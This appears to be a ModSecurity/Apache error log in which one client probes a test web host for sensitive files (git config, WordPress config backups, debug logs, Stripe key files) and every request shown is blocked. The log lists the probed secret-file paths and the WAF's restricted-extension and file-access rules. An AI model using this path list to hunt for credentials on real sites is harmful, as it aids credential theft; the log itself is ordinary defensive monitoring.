[Wed Mar 11 20:56:56.912388 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHJCA5jPndcvXiI_NwnLQAAAA0"]
[Wed Mar 11 20:56:56.912488 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abHJCA5jPndcvXiI_NwnLQAAAA0"]
[Wed Mar 11 20:56:56.925202 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHJCJX0JxooV6RUP8UrcwAAAA4"]
[Wed Mar 11 20:56:56.925326 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHJCJX0JxooV6RUP8UrcwAAAA4"]
[Wed Mar 11 20:56:56.925462 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHJCJX0JxooV6RUP8UrcwAAAA4"]
[Wed Mar 11 20:56:56.925596 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abHJCJX0JxooV6RUP8UrcwAAAA4"]
[Wed Mar 11 20:56:56.969956 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHJCBM06ibq-fKkKHKWIwAAABA"]
[Wed Mar 11 20:56:56.970080 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHJCBM06ibq-fKkKHKWIwAAABA"]
[Wed Mar 11 20:56:56.970219 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHJCBM06ibq-fKkKHKWIwAAABA"]
[Wed Mar 11 20:56:56.970387 2026] [:error] [pid 2634340] [client 185.177.72.60:41744] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abHJCBM06ibq-fKkKHKWIwAAABA"]
[Wed Mar 11 20:56:56.994584 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.txt"] [unique_id "abHJCKLYNbOGi8i_DeWmFQAAAAo"]
[Wed Mar 11 20:56:56.994744 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.txt"] [unique_id "abHJCKLYNbOGi8i_DeWmFQAAAAo"]
[Wed Mar 11 20:56:56.994880 2026] [:error] [pid 2634336] [client 185.177.72.60:41758] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.txt"] [unique_id "abHJCKLYNbOGi8i_DeWmFQAAAAo"]
[Wed Mar 11 20:56:57.004439 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abHJCZX0JxooV6RUP8UrdAAAAA4"]
[Wed Mar 11 20:56:57.004595 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abHJCZX0JxooV6RUP8UrdAAAAA4"]
[Wed Mar 11 20:56:57.004789 2026] [:error] [pid 2634338] [client 185.177.72.60:41848] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.save"] [unique_id "abHJCZX0JxooV6RUP8UrdAAAAA4"]
[Wed Mar 11 20:56:57.030714 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abHJCeBvFsx28IYw-q9nHwAAAAg"]
[Wed Mar 11 20:56:57.030883 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abHJCeBvFsx28IYw-q9nHwAAAAg"]
[Wed Mar 11 20:56:57.031044 2026] [:error] [pid 2634214] [client 185.177.72.60:41858] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php~"] [unique_id "abHJCeBvFsx28IYw-q9nHwAAAAg"]
[Wed Mar 11 20:56:57.037393 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.txt" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.txt found within REQUEST_FILENAME: /wp-config.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.txt"] [unique_id "abHJCUas0R32zSQmEomvTQAAABM"]
[Wed Mar 11 20:56:57.037535 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.txt"] [unique_id "abHJCUas0R32zSQmEomvTQAAABM"]
[Wed Mar 11 20:56:57.037681 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.txt"] [unique_id "abHJCUas0R32zSQmEomvTQAAABM"]
[Wed Mar 11 20:56:57.082705 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHJCQ5jPndcvXiI_NwnLgAAAA0"]
[Wed Mar 11 20:56:57.082834 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.old" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.old found within REQUEST_FILENAME: /wp-config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHJCQ5jPndcvXiI_NwnLgAAAA0"]
[Wed Mar 11 20:56:57.082978 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHJCQ5jPndcvXiI_NwnLgAAAA0"]
[Wed Mar 11 20:56:57.083133 2026] [:error] [pid 2634337] [client 185.177.72.60:41708] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.old"] [unique_id "abHJCQ5jPndcvXiI_NwnLgAAAA0"]
[Wed Mar 11 20:56:57.101394 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abHJCSkCWy977yPh9ymvOAAAAAc"]
[Wed Mar 11 20:56:57.101669 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abHJCSkCWy977yPh9ymvOAAAAAc"]
[Wed Mar 11 20:56:57.101811 2026] [:error] [pid 2634319] [client 185.177.72.60:41726] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/debug.log"] [unique_id "abHJCSkCWy977yPh9ymvOAAAAAc"]
[Wed Mar 11 20:56:57.215891 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.key"] [unique_id "abHJCf-pQA8QpEk0_N8YWwAAAAA"]
[Wed Mar 11 20:56:57.216139 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.key"] [unique_id "abHJCf-pQA8QpEk0_N8YWwAAAAA"]
[Wed Mar 11 20:56:57.216304 2026] [:error] [pid 2634210] [client 185.177.72.60:41716] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.key"] [unique_id "abHJCf-pQA8QpEk0_N8YWwAAAAA"]
[Wed Mar 11 20:56:57.364928 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.log"] [unique_id "abHJCVHINoBDNij9jADMHAAAAAE"]
[Wed Mar 11 20:56:57.365185 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.log"] [unique_id "abHJCVHINoBDNij9jADMHAAAAAE"]
[Wed Mar 11 20:56:57.365317 2026] [:error] [pid 2634237] [client 185.177.72.60:41764] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stripe.log"] [unique_id "abHJCVHINoBDNij9jADMHAAAAAE"]
